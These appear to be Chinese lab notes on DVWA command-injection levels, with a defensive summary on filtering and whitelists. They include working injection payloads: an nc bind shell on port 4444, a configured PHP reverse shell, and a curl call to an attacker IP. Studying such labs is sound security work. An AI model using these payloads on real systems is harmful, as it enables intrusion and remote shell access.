low级别:
未进行任何过滤,可以用 ;、|、&、&&
源代码如下:
medium级别:
设置了黑名单,可以使用 |、&
high级别
同样设置了黑名单,但由于过滤不严谨,仍可以使用 |
impossible级别:
判断你的IP地址的格式,将输入的内容以点为分隔符,进行判断且必须为数字
总结:
调用系统命令,本身就是非常危险的动作,开发过程中应尽量避免,实在无法避免,应该进行严格过滤,白名单要比黑名单好点。尽量使用静态,例如需要测试网络连通性,应内置一个ip地址,而不是让用户自行输入。
《web应用安全指南》page 206
- 避免使用内部调用shell函数
- 使用内部调用shell函数时,避免由外界传入参数
- 将参数传递给OS命令之前使用安全的函数进行转义
应用实例:
1、利用命令执行漏洞,打开服务器4444端口
;mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe
2、使用nc进行连接
思考:
1、kali生成反弹shell
root@kali:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php
root@kali:~# vim /var/www/html/1.php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.71.131'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
2、kali 打开侦听端口
root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...
3、利用命令执行漏洞
4、结果
为什么反弹的是kali的shell?
;curl http://192.168.71.131/1.php 这条命令实际是在 kali(192.168.71.131)机器上执行了,所以反弹的是自身的shell。
注意PHP文件在哪台机器上,其中的代码就会在哪台机器上执行。
利用这个特性,可以实现一个初级的隐蔽的方法(web层面)